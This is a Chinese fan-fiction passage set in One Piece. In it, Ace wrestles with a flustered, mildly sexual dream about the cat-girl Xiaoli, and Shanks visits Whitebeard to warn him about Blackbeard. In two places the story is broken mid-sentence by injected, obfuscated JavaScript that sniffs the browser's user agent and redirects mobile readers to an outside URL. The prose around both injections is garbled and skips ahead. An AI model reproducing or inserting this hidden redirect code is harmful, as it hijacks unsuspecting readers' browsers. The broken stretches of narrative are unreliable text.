艾斯浑身僵硬得如同一块木板,所有的感官似乎都集中在了与她相贴的部位。他能清晰地感觉到她身体的曲线,她呼吸的起伏,她脸颊的滚烫温度……他口干舌燥,血液奔流的速度再次加快,甚至出现了让他极其狼狈、羞耻不已的反应。 理智的弦在这甜蜜又折磨人的亲密接触下,发出了不堪重负的、即将崩断的呻吟。 “小、小狸……听话,乖,先松开……” 他试图去掰开她环在自己腰上的手臂,声音沙哑得厉害,带着他自己都未曾察觉的颤抖和艰难。 “唔……不要……” 小狸非但没有松手,反而因为他的“反抗”而抱得更紧,甚至无意识地在他胸口又蹭了蹭,嘴里发出不满的咕哝 艾斯猛地倒吸一口凉气,浑身肌肉瞬间绷紧,额角渗出了细密的汗珠。他感觉自己的理智岌岌可危,心中的悸动几乎要冲破那层名为“兄长”和“克制”的薄弱外壳。 不行!绝对不行! 残存的意志力在最后一刻拉住了理智。他用尽全身的力气,近乎狼狈地、带着点凶狠的力道,终于将这只黏人得可怕的醉猫从自己身上“扒”了下来。 迅速将她塞进被窝,然后用被子从肩膀到脚踝,严严实实地裹了好几层,裹成一个只露出一张睡得红扑扑小脸的“蚕宝宝”,彻底断绝了她再次“作案”的可能性。 做完这一切,艾斯几乎是踉跄着向后退开了两三步,直到后背抵住了冰凉的墙壁,才勉强稳住有些虚浮的脚步。他单手捂住自己还在发烫、甚至感觉还在隐隐残留着那个亲吻触感的脸颊,长长地、带着无尽复杂情绪地吐出了一口气,仿佛要将胸腔里所有沸腾的、无处安放的悸动和燥热都排解出去。 房间里很安静,只有小狸逐渐变得平稳悠长的呼吸声,以及他自己依旧无法平息的、剧烈的心跳声。 他靠在墙上,看着床上那个被裹得严严实实、毫无防备、睡得一脸香甜满足的“罪魁祸首”身上,眼中翻涌的情绪,最终慢慢沉淀下来,化为一片浓得化不开的柔情,其中掺杂着未退的悸动余波,以及一丝无可奈何到极致的、却心甘情愿的宠溺。 他轻轻走过去,坐在床边的椅子上,静静地看了她很久。然后,伸出手,用指尖极其轻柔地、拂开她额前被汗浸湿的一缕碎发。 “真是……” 他低声自语,声音在寂静的房间里显得格外清晰,带着一种饱含了万千情绪的苦笑,和一种了悟般的叹息。 “没救了” 窗外的星光安静地洒在海面上,也透过舷窗,漏进一点微光在这间小小的舱室里。宴会的声音隐隐约约,如同遥远的背景音。而房间里,只有平稳的呼吸声,和另一个久久无法平静的心跳。 今夜,注定有人要失眠了。 41. 梦 艾斯几乎是逃也似的回到了自己的房间。 舱门在身后“咔哒”一声轻轻合拢,他背靠着冰凉的门板,深深吸了一口气,试图将那股盘旋在胸口、混合着羞窘、悸动和莫名燥热的浊气吐出。但船舱内寂静的空气,似乎反而放大了所有的感官。 眼前挥之不去的是甲板灯光下,那双近在咫尺的、氤氲着水汽和醉意的蓝色猫瞳,还有那声软糯到骨子里的“最喜欢你了”。指尖仿佛还残留着将她从身上“扒”下来时,触碰到的细腻肌肤的温软触感,以及那紧紧缠绕上来的、带着惊人热度的依偎。 他走到床边,重重地仰面躺下。脑海里不受控制地、反复回放着那个短暂的瞬间。不是连贯的画面,而是一个个被无限放慢、放大的细节:她微微踮起脚尖时身体的倾斜,嫣红的嘴唇靠近时带起的细微气流,还有那最终落在自己嘴角的柔软触感,怀里,似乎也依旧残留着那份重量和温度 “啧。” 艾斯烦躁地翻了个身,将脸埋进枕头里。此刻一种截然不同的某种陌生情绪的燥热,正不受控制地涌动、蔓延。口干舌燥,喉咙发紧,心脏的跳动也失去了平日的沉稳节奏,在寂静的房间里咚咚作响,吵得他自己都心烦意乱。 他甚至能感觉到自己脸颊和耳根处持续不退的高温,以及身体某个部位因那些旖旎回忆而产生的、让他倍感狼狈的变化。 “呼……” 他无奈地长长吐出一口气,声音在寂静中显得有些粗重。他抬起手臂,挡在眼前,仿佛这样就能隔绝那些不断在脑海中上演的“小电影”。然而,黑暗和隔绝视觉,只会让其他感官的“重播”更加肆无忌惮。 一片混沌的、滚烫的黑暗中,他低低地、近乎呻吟般地喃喃自语,声音里充满了连自己都无法完全理解的困惑,以及那股无论如何也压不下去的、陌生而强烈的悸动: “哎……小狸……” 他顿了顿,舌尖似乎还能尝到一丝幻觉般的、属于她的甜香。 “我到底……该拿你怎么办才好……” 或许是因为日有所思,夜有所梦;或许是因为现实中那些被理智强行压下、锁进心底最深处的躁动与渴望,终于找到了一个相对“安全”的宣泄渠道——在艾斯自己都尚未厘清那复杂心绪的夜晚,他的梦境,诚实地将他出卖了。 梦境边界模糊,逻辑失效,但所有的感觉却比现实更加清晰,带着一种不容置疑的“真实感”。 他发现自己躺在一种极其柔软、蓬松的羽绒上。身体轻飘飘的,使不上力 梦中的小狸,与现实中那个单纯、有时害羞、有时懵懂的模样似乎有些不同。她的眼神更加大胆,更加迷蒙,眼波流转间,带着一种艾斯从未在她清醒时见过的、近乎诱人的水光。 她像只好奇又调皮的小猫,轻盈地、带着某种不容拒绝的意味,靠近他,然后……压了下来。 她俯视着他,蓝色的猫瞳里映出他有些怔忪的脸。然后,她低下头,开始一下下地、如同鸟儿啄食般,轻轻地啄吻他的脸颊。 每一次轻触,都像是一片最柔软的羽毛,带着微湿的暖意,搔刮在他皮肤最敏感的地方,也搔刮在他心尖上最隐秘的角落。 她的吻逐渐下移,从脸颊到下颌,最后流连在他的唇角。梦中的触感被无限放大,他几乎能“感受”到她唇瓣的每一丝纹路,那温热、柔软、带着甜香的压迫。 艾斯感觉自己最后那点可怜的、在梦中都试图维持的意志力,飞速的消融、土崩瓦解。一种强烈的、几乎要淹没理智的渴望攫住了他。 他的目光,不由自主地被吸引到她头顶——那里,那对黑色的、毛茸茸的猫耳,正微微颤动着,耳尖敏感地抖动,透着一层可爱的粉红色。 他像是被蛊惑了一般,着迷地看着那对微微抖动的耳尖。然后,几乎是顺从着心底最原始的冲动,他微微抬起头,凑近…… 轻轻地,用牙齿,试探性地啮咬了一下那柔软得不可思议的耳尖。 “!” 梦中的小狸似乎轻轻颤了一下,发出一声极其细微的、如同幼猫呜咽般的哼声。这声音像是一道电流,瞬间窜遍他的全身。 最后的屏障彻底粉碎。 他着迷地看着近在咫尺的那双唇,看着那无声的邀请,某种炽热的、澎湃的情感冲垮了所有。他低下头,带着一种近乎虔诚又充满掠夺意味的决心,缓缓靠近,目标明确地靠近那份诱惑他已久的甜蜜…… 就在他的唇即将触及那份渴望的柔软,甚至能感受到对方呼吸交融的前一刹那—— “砰!” 艾斯猛地从床铺上弹坐了起来! 动作之大,甚至带起了身下的床单,发出凌乱的摩擦声。 他剧烈地喘息着,胸膛起伏不定,额头上甚至渗出了一层细密的汗。 是梦…… 刚才那一切……只是个梦…… 这个认知让他紧绷的神经骤然一松,但随即,一股更加强烈的、混合着羞恼、荒谬和难以置信的情绪涌了上来。他下意识地低头,看向自己身体某处——那里,梦境带来的强烈反应依旧鲜明地存在着,无比真实,无比……尴尬。 他又扭头看了看窗外那还未完全亮起、介于黑夜与黎明之间的暧昧天色。晨风带着海腥味吹进来,稍稍冷却了他发烫的脸颊。 一时之间,艾斯居然有些茫然,说不清心里究竟是遗憾那场逼真到极致的梦境在最高潮时被打断更多,还是对自己竟然会做这样……这样难以启齿的梦感到更加羞耻和恼火更多。 “哈……” 他忍不住低低地笑出声来,笑声在寂静的晨间船舱里显得有些突兀,充满了浓浓的自嘲和一种连他自己都难以定义的、酸甜交织的无奈。他抬起手,用手掌捂住了自己依然在隐隐发烫的脸颊和额头,指尖能感觉到皮肤下活跃的血脉。 “我到底都在想什么啊……” 当艾斯终于强迫自己冷静下来,整理好心情,又花了点时间处理掉身体上那点尴尬的反应时,走廊里依旧安静。隔壁小狸的房间门紧闭着,里面没有任何动静,显然,昨晚的“罪魁祸首”还在宿醉的深眠中,对自己引发的、在另一个人身上持续了几乎一整夜的“风暴”一无所知。 甲板上却是另一番景象。 昨夜狂欢的痕迹尚未完全清除。一些船员已经开始收拾,拿着扫帚和水桶,一边打着哈欠,一边清理着狼藉。艾斯甚至怀疑有几个家伙——比如以藏和布拉曼克——根本就是从昨晚一直喝到了现在,此刻正东倒西歪地靠在某个角落或缆绳堆上,发出响亮的鼾声,对周围的打扫声充耳不闻。 就在这时,罪魁祸首之一、显然也刚醒不久的萨奇,端着一杯热气腾腾的咖啡晃悠了过来。他一眼就看到了站在舱门口的艾斯,尤其是注意到对方眼下那一点点不甚明显的阴影时,萨奇眼睛一亮,立刻挤眉弄眼,故意做出一个极其夸张的噘嘴动作,矫揉造作,怪声怪气,拉长了调子学舌道: “最——喜——欢——你——了~~~哥——哥~~~” 声音不大,但在清晨相对安静的甲板上,足以让附近正在打扫的船员们都听得清清楚楚。 “!!!” 艾斯的脸,以肉眼可见的速度,“唰”地一下,从耳根到额头,再次爆红!昨夜的窘迫、梦境的余韵、还有此刻被当众调侃的羞恼,瞬间混合成一股热流直冲头顶。 “萨奇——!!你给我站住!!!” 他几乎是从牙缝里挤出这句话,羞恼地低吼一声,也顾不上什么队长形象了,拔腿就朝着那个笑得见牙不见眼、转身就想溜的厨师长追了过去。 “哇啊!恼羞成怒了!救命啊!马尔科!乔兹!快拦住他!”萨奇一边大笑着假意逃跑,一边还不忘继续煽风点火。 艾斯在后面紧追不舍,两人一前一后,在尚且有些凌乱的甲板上追逐起来,时不时绕过正在打扫的船员或躺倒的“醉汉”,引得周围那些原本还有些困倦的船员们精神一振,发出了一阵心照不宣的、充满善意的哄笑声和起哄声。 “艾斯队长加油!抓住萨奇队长!” “萨奇队长!跑快点!艾斯队长脸红了!” “哈哈哈!年轻真好啊!” 而引发这一切的真正“始作俑者”——小狸,则是在一阵阵沉闷的头痛和隐隐的恶心感中,挣扎着醒来的。 她迷迷糊糊地睁开眼,只觉得阳光透过舷窗照进来都有些刺眼。脑袋里像是塞进了一团沾了水的棉花,又沉又胀,太阳穴处一抽一抽地钝痛。喉咙干得发紧,胃里也有些不适的翻腾感。 “……唔……”她发出一声痛苦的呻吟,挣扎着坐起身。她试图回忆昨晚发生了什么,记忆却像是被蒙上了一层浓雾,断断续续,模糊不清。 “哎……”她揉了揉抽痛的额角,蔫头耷脑地走出房间,来到甲板上。清晨的海风带着凉意吹来,让她稍微精神了一点点。然后,她就看到了正在甲板另一端上演“追逐战”的艾斯和萨奇。 小狸茫然地眨了眨还有些干涩的蓝眼睛,完全搞不清楚状况。 她拖着依旧有些沉重的脚步,走到了正在相对安静的角落、悠闲地喝着咖啡看报纸的马尔科身边。马尔科面前的小桌上甚至还摆着一碟精致的早点,看起来出自萨奇之手,显然早已料到了她宿醉醒来会有的状态。 “马尔科先生……”小狸小声唤道,声音因为喉咙干涩而有些沙哑。她指了指那边追逐的两人,猫耳困惑地动了动,“他们……在做什么呀?一大早的……” 马尔科从报纸上抬起眼,推了推鼻梁上的眼镜,目光扫过那两个活力过剩的家伙,又看了看身边这只明显宿醉未消、眼神迷茫的小猫,无奈地叹了口气,语气是一贯的平静中带着点慵懒的吐槽: “就当是两个没长大的笨蛋,在发泄多余的精力吧,yoi。” 他说着,放下了报纸,伸出手。指尖“噗”地一声,燃起一缕温和而不灼人的青蓝色火焰——不死鸟的再生之炎,对于缓解疲劳、治疗轻微不适有奇效。他将燃烧着青炎的手指轻轻按在小狸两侧的太阳穴上。 一股清凉舒适、带着勃勃生机的暖流瞬间从接触点涌入,小狸忍不住舒服地眯起了眼睛,喉咙里发出一声细小的喟叹,不自觉地往马尔科的手边蹭了蹭。 “早就说了,不能喝酒就不要喝。”马尔科一边用青炎帮她缓解头痛,一边不忘例行“教育”,声音平静。 但随即,他似乎想到了什么,嘴角几不可查地勾起一抹极淡的、意味深长的弧度,甚至带着点微妙的、看透一切的坏心眼。他将头微微扭向一边,目光投向远处还在追跑的艾斯,用只有自己和小狸能勉强听清的音量,低声嘀咕了一句: “虽然……艾斯那小子……估计心里暗爽得要命,正愁没地方发泄这股‘精力’呢……” “唔……谢谢马尔科先生……”小狸被青炎安抚得正舒服,没太听清他后半句含糊的嘀咕,只捕捉到“艾斯”和“精力”几个词,疑惑地抬起还有些迷蒙的眼,“嗯?马尔科先生你刚才说艾斯……什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941768|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>马尔科收回手,指尖的青炎熄灭。他脸上恢复了一本正经的表情,拿起咖啡杯抿了一口: “没什么,yoi。” “什么嘛!”小狸鼓起了还有些苍白的小脸,因为宿醉和头痛,她的情绪也带着点孩子气的执拗,“马尔科先生坏心眼!说话说一半!吊人胃口!” 马尔科看着她气鼓鼓的样子,无奈地抬手做了个投降的姿势:“是是是,我坏心眼。” 周围注意到小狸出来的船员们,见她虽然脸色不太好,但精神尚可,也都默契地收起了过于外露的调侃目光。大家都很享受这对兄妹(?)之间这种朦胧美好的互动,没人愿意去粗暴地戳破那层窗户纸。 然而,这个温馨平静的早晨,并未能持续太久。 就在艾斯终于揪住萨奇的衣领,两人闹成一团,小狸在马尔科的“投喂”下小口吃着清淡的早餐试图安抚造反的胃时,此前几天离开莫比迪克号、前往附近海域搜集情报和特殊补给物资的一支小队,乘着快艇回来了。 他们的神色,与船上轻松的氛围格格不入,带着明显的凝重和急迫。 为首的小队长快步穿过甲板,径直走向白胡子,也惊动了正在玩闹的艾斯和萨奇,以及正在用餐的小狸和马尔科。 “老爹!艾斯队长!有重要消息!” 所有人的目光都集中了过去。 小队长深吸一口气,声音清晰而沉重地汇报道:“我们的人在香波地群岛,看到了自称是‘黑胡子海贼团’的人活动的踪迹!虽然人数不多,行踪也很隐蔽,但确实留下了他们的标志和一些……战斗的痕迹。” “!!” 艾斯的眼神在听到“黑胡子”这个名字的瞬间变得锐利,冰冷。刚才与萨奇追逐打闹带来的那点羞恼和轻松瞬间蒸发得无影无踪。 他立刻松开萨奇,大步走向白胡子,脸上的表情是前所未有的严肃和坚定。 “老爹,”他的声音沉稳,却带着不容置疑的决心,“我必须立刻去确认一下。这次不能再让他跑了!” 白胡子缓缓睁开了眼睛。那双如同深海般平静却蕴含着无尽力量的眼眸,看向自己最冲动的儿子之一。 他点了点头,洪亮的声音带着安抚人心的力量:“去吧,艾斯。但是记住,”他的目光凝视着艾斯,“马歇尔·蒂奇……他很危险。他的野心和力量,超乎你的想象。务必小心行事。” “我明白,老爹。”艾斯用力点头,眼神没有丝毫动摇。 他下意识地回头,目光在甲板上搜寻,很快落在了那个还坐在马尔科旁边、手里拿着半块面包、显然被这突如其来的凝重消息弄得有些不知所措的小小身影上。她蓝色的猫瞳里带着困惑和隐隐的担忧,正望着他。 小猫看起来不太舒服,他收回目光,对马尔科和萨奇快速交代:“我去附近的城镇补充些物资,不会太久,今天之内就能赶回来。船上就拜托你们了。” --- 为了醒酒和吹风,小狸爬到高高主桅杆瞭望台上,打着哈欠,揉着依旧有些发胀的额角,百无聊赖地眺望着远方的海面。 忽然,她敏感的捕捉到了远海平面上一个不同寻常的移动黑点。而且,那黑点正在以惊人的速度扩大! 几秒钟后,她的瞳孔猛地收缩! 那不是普通的商船或海贼船!那是一艘体型极其巨大的庞然大物!最引人注目的是,那艘巨船的桅杆上,高高悬挂着一面她从未见过的海贼旗——旗帜中央是一个简单的白色骷髅标志,但骷髅的左眼处有着三道清晰的红色爪痕,骷髅背后是两柄交叉的西洋剑! 正以一种坚定无比的姿态,笔直地、毫不避讳地朝着莫比迪克号所在的这片海域驶来! “敌袭?!”小狸的第一反应是这个,但随即又否定了。如果是敌人,以这种毫不掩饰的直冲姿态靠近莫比迪克号,也未免太过嚣张和愚蠢。而且那面旗帜……她似乎在哪里听人提起过类似的描述? 不管怎样,未知的强大船只靠近,必须立刻预警! 她立刻从桅杆上探出身子,一手紧紧抓住缆绳稳定身体,另一只手拢在嘴边,用尽力气朝着下方甲板大喊,声音因为急切和距离而显得格外清亮穿透: “大家——!!!有船靠近——!!!很大的船!!!速度很快——!!!” 甲板上的众人,无论是正在商议的马尔科和白胡子,还是正在收拾或休息的船员,在听到小狸预警的瞬间,全都神情一凛,瞬间进入了戒备状态! “敌袭?准备战斗!”萨奇立刻吼道。 “瞭望台确认!方位东北!巨型船只!速度极快!”有船员呼应。 船员们训练有素地立刻行动起来,纷纷拿起武器,迅速跑到面向来船的船舷边,神色凝重地望向前方。轻松的气氛一扫而空,取而代之的是一种临战的紧绷和肃杀。 就在众人紧张注视、猜测纷纷之际—— 端坐在巨椅之上,如同定海神针般的白胡子,缓缓地、彻底地睁开了他那双仿佛能洞察一切的眼睛。他的目光如同无形的利剑,穿透空间,精准地落在了远方那艘越来越清晰的巨船上。 他的脸上,没有任何意外的神色,反而露出了一种……类似“果然来了”、“等候多时”的了然。 “咕啦啦啦……” 低沉的笑声先起,带着一种复杂的的感慨。 “来了啊。” 他微微停顿,目光如炬,仿佛已经与远方船上的某道视线隔空相撞。 “红发小鬼。” 42. 来访与远行 白胡子庞大的身躯如同山岳般稳固在巨椅之上,纹丝不动。洪亮的声音如同滚雷,在骤然安静的甲板上回荡: “咕啦啦啦……那红发小鬼,是带了好酒来吧。” 然而,与白胡子这份奇异的“从容”形成鲜明对比的,是莫比迪克号上瞬间绷紧到极致的气氛。马尔科的反应最快,几乎是在白胡子话音落下的同时,他已经厉声发出指令,声音里褪去了平日的慵懒,只剩下不容置疑的紧迫: “所有年纪小、经验不足、实力未够的队员,立刻!马上!退到船舱内部去!快!不要停留!” 他的命令迅速被几位队长和资深船员传递下去,但一些年轻船员脸上,还是不可避免地露出了困惑与不解 “四皇来访,不是更应该全员戒备吗?”一个年轻的剑士忍不住低声向身旁的伙伴嘀咕。 然而,他的疑问甚至来不及得到任何的解答,答案就以一种远超他想象的狂暴方式亲自降临! 那是一个男人。一头如同燃烧火焰般的红色短发在海风中微微拂动,他穿着一件看似随意的白色衬衫,袖口挽起,露出结实的小臂,下身是简单的黑色长裤,宽大的黑色斗篷在身后猎猎作响。最引人注目的,还是他左手空荡荡的袖管。 红发香克斯。 他就那样随意地靠近,没有刻意摆出任何战斗姿态,甚至脸上还带着一丝近乎悠闲的、准备拜访老朋友的淡淡笑意。然而,就在他身影清晰映入莫比迪克号众人眼帘的瞬间—— 轰!!!! 一股无形无质、却磅礴浩瀚的恐怖压力,毫无保留地、狂暴地席卷了整个莫比迪克号的甲板! “呃啊——!” “噗通!”“噗通!” 几乎是同一时间,那些年轻船员们脸上的血色瞬间褪得干干净净,眼球不受控制地上翻,露出大片的眼白,成片成片地、直挺挺地向后瘫软倒地,手中的武器“哐当”、“哐当”掉落在坚硬的甲板上,发出杂乱而空洞的声响。 仅仅一个照面,莫比迪克号甲板上出现了大片令人心悸的“空白”。 马尔科苦恼地抬手扶住了额头,发出无奈的叹息:“还是来不及了吗……啧,算了,反正也只是晕过去了而已,身体不会有损伤。” 乔兹抱着手臂,看着那些倒下的年轻人:“半吊子的心态,在那个男人面前……连保持清醒站立的资格都没有。” 而此刻,甲板中央那片无形的“风暴眼”正在无声却激烈地对抗着。 白胡子依旧端坐如山。他的身上,一股同样浩瀚无边、却更加厚重磅礴的霸气弥漫开来。 两股力量在虚空之中剧烈碰撞、摩擦,虽然没有实质的刀光剑影,却让甲板上还能保持站立的每一个人都感到皮肤微微发麻,空气在震颤,脚下的木质甲板似乎都在发出不堪重负的、细微的呻吟。 就在这片无声却惊心动魄的霸气风暴中,香克斯动了。 他单手拎着一个目测比他整个人还要巨大、沉重无比的酒壶,步伐沉稳得如同在自家后花园散步,脸上依旧带着那抹轻松的笑意,一步步,踏着莫比迪克号的舷梯,走上了甲板。 他的脚步踏过那些昏迷倒地的白胡子船员身边,目不斜视。最终,停在了白胡子那如同小山般的身影面前。 他将巨大的酒壶随意地放在脚边,抬起仅剩的右手,摸了摸自己的后脑勺,露出一个堪称“爽朗”甚至有点“不好意思”的笑容,平静地开口: “失礼了。一上船就来了个‘下马威’。” 他顿了顿,目光坦诚地看向白胡子,“但我没有恶意。这次来,只是想找你……好好聊聊。” “哼!” 白胡子发出一声洪亮至极、带着睥睨天下般豪迈与一丝讥诮的大笑,震得空气嗡嗡作响: “这是在别人的船上,不由分说就外放霸气的男人该说的话吗?!你这嚣张的混蛋!咕啦啦啦啦!” --- 刚刚从高高的主桅杆瞭望台上轻盈翻身而下的小狸,双脚还没完全触及甲板—— 嗡——!!! 一股难以形容的巨大压迫力,毫无预兆地从她天灵盖直贯而下,狠狠地拍在了她的精神之上 “!!” 小狸的呼吸瞬间被扼住!胸腔像是被灌满了铅水,肺叶火辣辣地疼,双腿发软,几乎要当场跪倒在地。 好……好难受!他对大家……做了什么?!为什么大家都倒下了?! 她死死咬住了下唇,直到尝到一丝铁锈般的血腥味,用疼痛强迫自己保持最后一丝清醒。 马尔科在指挥和关注两位皇者对峙的同时,眼角的余光终于瞥见了这个被遗漏的小小身影。他眉头一蹙,低咒一声,身形瞬间化作一道青蓝色的残影,以不可思议的速度闪到小狸身旁。 没有多余的动作,马尔科只是伸出宽厚的手掌,稳稳地按在了小狸微微颤抖的单薄肩膀上。一股温和却无比坚定的力量从马尔科身上散发出来,将小狸整个笼罩在内。 那仿佛要将灵魂碾碎的恐怖压力顿时减轻了大半,小狸如同溺水之人终于浮出水面,猛地大口大口喘息起来,有些后怕的望向甲板中央那个正与老爹平静对话的红发男人。 就是这个男人……仅仅只是“存在”就能造成如此可怕的影响吗? 马尔科挡在小狸身前半步,将她护在身后,看向香克斯的目光带着明显的不悦和冷淡,语气也毫不客气: “喂,红发,你这家伙,到底想干什么啊yoi” 听到马尔科的声音,香克斯颇有兴致地笑着转过头,目光饶有兴味地落在马尔科身上,仿佛刚才那震慑全场的下马威只是随手为之: “哦!是第一队的马尔科啊。怎么样,有没有兴趣考虑来我这边?” 他语气轻松,像是在讨论今天的天气,而非在挖另一位四皇的墙脚。 “少说废话!” 马尔科没好气地回绝。 香克斯也不以为意,笑了笑,目光又自然而然地落到了马尔科身边那个眼神里还残留着惊悸、却毫不避讳地、带着明显“敌意”盯着他的猫耳少女身上。他的眼睛亮了一下,露出了更加感兴趣的笑容: “哦?还有一个……猫耳小姑娘?” 他上下打量了一下小狸,目光在她那对依旧因为紧张而微微抖动的黑色猫耳和身后警惕竖起的尾巴上停留了一瞬,爽朗地笑了起来,“哈哈,有趣!老头,你的船上,总是能聚集各种各样有趣的家伙呢。这又是从哪里捡回来的?” 白胡子发出一阵洪亮而自豪的大笑,声音里充满了对家人的宠溺: “咕啦啦啦!红发小鬼,眼睛倒是不错!这可是老夫最可爱的女儿!比那些臭小子们贴心多了!” 虽然气氛因为红发的“玩笑”和之前的“下马威”依旧显得有些微妙和紧张,但在白胡子一句“他不像是来打架的,让我们两个单独聊聊”的定调话语中,众人还是带着警惕缓缓退开了一段距离,将甲板中央的区域留给了白胡子和香克斯。 然而,某只刚刚从冲击中缓过劲来的小猫可没那么“听话”,或者说,她根本没有理解什么叫“单独聊聊”。 一声轻响,原地已不见纤细的少女,取而代之的是一只通体漆黑、唯有眼睛湛蓝如宝石的小猫。 小黑猫没有犹豫,后腿猛地发力,几个迅捷无比的跳跃,精准地落在了白胡子那如同岩石平台般宽阔坚硬的膝盖上。 她在老爹的膝盖上站稳,转过身,面对香克斯的方向,背脊微微弓起,尾巴像旗杆一样笔直竖起,全身黑色的毛发因为戒备而显得有些蓬松。湛蓝的猫瞳一眨不眨地死死锁定了香克斯,瞳孔缩成一条危险的细线,喉咙深处发出一种低沉而持续的、充满警告意味的呜噜声 香克斯将这一幕尽收眼底,脸上的笑意更深了,甚至带上了点戏谑。他抬起仅剩的右手,对着膝盖上的小黑猫做了个类似“投降”又像“打招呼”的手势,语气轻松地说道: “你也怪有意思的。怎么样,要不要也考虑来我的船上?我们船上风景不错,伙食也好,而且……” 他故意顿了顿,目光扫过小猫,“我们那儿倒是还没养过这么特别的宠物,肯定很受欢迎。” “宠物”?! 感觉受到了严重冒犯的小黑猫瞬间炸毛!背上的毛发彻底炸开,整只猫看上去都大了一圈。她猛地扬起头,对着香克斯的方向龇出小小的、却锋利的尖牙,从喉咙里挤出一声凶巴巴的、充满威胁的:“哈——!!!” 要不是顾忌着老爹就在身下,她可能已经要扑上去给这个口无遮拦的红毛家伙来上几爪子了。 直到白胡子那巨大而温暖的手掌,带着令人安心的厚重力量,轻轻地、带着安抚意味地按在了她炸毛的背上,一下下,顺着毛发生长的方向,缓慢而沉稳地抚摸着。 “咕啦啦……小狸,安静些。” 白胡子的声音带着笑意和纵容。 感受到老爹掌心的温度和沉稳的节奏,小黑猫紧绷的身体才慢慢放松下来,炸开的毛发逐渐平复,依旧紧紧的盯着香克斯 香克斯见状,也不再继续逗弄她。他收敛了脸上过于外露的戏谑,弯腰提起脚边那个巨大的酒壶,手腕一扬,将酒壶轻松地抛向白胡子。 “接着,老头。特意给你带的酒。” 白胡子巨大的手掌稳稳接住酒壶,入手沉甸甸,壶口用蜜蜡封着。 两位立于世界顶端的皇者,就这么随意的在甲板上开始对饮。巨大的酒碗和酒壶碰撞,发出沉闷的声响,琥珀色的酒液在阳光下荡漾。 他们谈论的内容,渐渐超越了简单的寒暄。时代的浪潮、世界的格局、新生的势力……小狸乖乖趴在老爹腿上,竖起的耳朵敏锐地捕捉着那些对她而言还有些艰深晦涩的词汇,虽然不能完全理解,但那种沉重而宏大的氛围,让她不由自主地屏息凝神。 直到,那个名字被提起。 “关于马歇尔·蒂奇……” 当香克斯放下酒碗,语气变得前所未有的郑重,甚至带着一丝清晰的忧虑,说出这个名字时,甲板上的空气仿佛瞬间凝固了,连海风都停滞了一瞬。 香克斯详细地阐述了他对黑胡子的观察、判断和深深的忌惮。那个男人如何隐忍多年,如何觊觎着可怕的力量,其野心和危险性远超常人想象。他语气沉重地告诫白胡子,蒂奇就像一颗被埋藏已久的爆弹,一旦时机成熟,必将掀起席卷世界的惊涛骇浪,造成无法估量的破坏与伤亡。 最后,他直视着白胡子的眼睛,说出了此行可能最重要的目的之一: “……所以,我希望,白胡子,你能劝阻艾斯。不要让他现在去追捕蒂奇。那太危险了,而且可能会……加速某些不好的事情发生。” 沉默。 短暂的、却仿佛重若千钧的沉默。 然后,白胡子笑了。 “咕啦啦啦!!!” 笑声如同惊雷炸响,驱散了香克斯话语带来的凝重阴霾,却带来了另一种更加激烈、更加决绝的情绪! “红发小鬼!” 白胡子洪亮的声音如同海啸,带着雷霆般的愤怒与钢铁般的意志,每一个字都掷地有声,回荡在空旷的甲板上,也重重敲在每个人的心上! “蒂奇——他犯了老夫船上最重、最不可饶恕的罪!!” 他的目光如同燃烧的熔岩,灼灼逼人: “他伤害同伴!!为了自己的野心,对同为一家的兄弟挥刀相向!!” 白胡子巨大的身躯微微前倾,带来的压迫感甚至不亚于刚才的霸王色碰撞: “但是,他是我的儿子!哪怕他再笨!再愚蠢!他也是我的儿子!” 他的声音陡然拔高,带着一种近乎咆哮的威严与执着: “何为仁义?!何为家人?!他的灵魂该去向何处!这些——都是我这个做老爹的,应该好好教导他的事情!!” 理念的冲突,如同两座移动的山岳,轰然对撞,火星四溅!根本无法调和! 香克斯的眼神变得锐利而深沉,他知道,劝说已经无效。 几乎是在谈判破裂、气氛降至冰点的同一刹那—— “锵——!!!” “嗡——!!!” 两道清越却蕴含无上威能的刀鸣,几乎同时响彻云霄! 白胡子一直靠在巨椅旁的、那柄无上大快刀十二工之一的“丛云切”,不知何时已落入他巨大的手掌!而香克斯,也反手握住了腰间“格里芬”的刀柄! 没有多余的废话,没有试探的前奏! 下一瞬! 两人同时拔刀!挥斩! “铛——!!!!!!!!!” 两柄名刀刀刃裹挟的恐怖霸气与意志对撞,便爆发出了震耳欲聋的惊天巨响!!! 厚重的云层被这无形的锋锐气势从中硬生生撕裂,露出了更高处湛蓝得令人心悸的天空!莫比迪克号周围的海面,更是被这股对撞的余波压迫得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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艾斯已经回来了,他坐在了老爹身旁稍低一些的位置,背对着小狸走来的方向。他低着头,帽檐压得很低,让人看不清他此刻的表情。显然,他已经从其他船员那里,知晓了红发来访以及他与老爹谈话的全部内容。 反倒是白胡子本人,在驱赶护士团的间隙,注意到了儿子那副沉默而紧绷的样子。他再次发出爽朗豪迈的笑声: “咕啦啦啦!艾斯!你这副样子是做给谁看?老夫我还没有老到需要你们这群小鬼来担心的地步!” “别忘了你是谁!你是波特卡斯·D·艾斯!更是老子白胡子的队长!你想做什么,就去做!遵循你的意志,去追捕那个叛徒,去为萨奇讨回公道!” 他的声音陡然拔高,带着一种顶天立地、为所有子女撑起一片天的无上气魄: “别忘了——老夫永远都是你们的底气!!这片大海上,还没有人能让我的儿子们受了委屈,却不敢去讨个说法!!” 小狸看着明明自己疲惫不堪、却还要强撑着用最豪迈的姿态安抚众人的白胡子,鼻尖酸涩,一股滚烫的热流直冲眼眶。 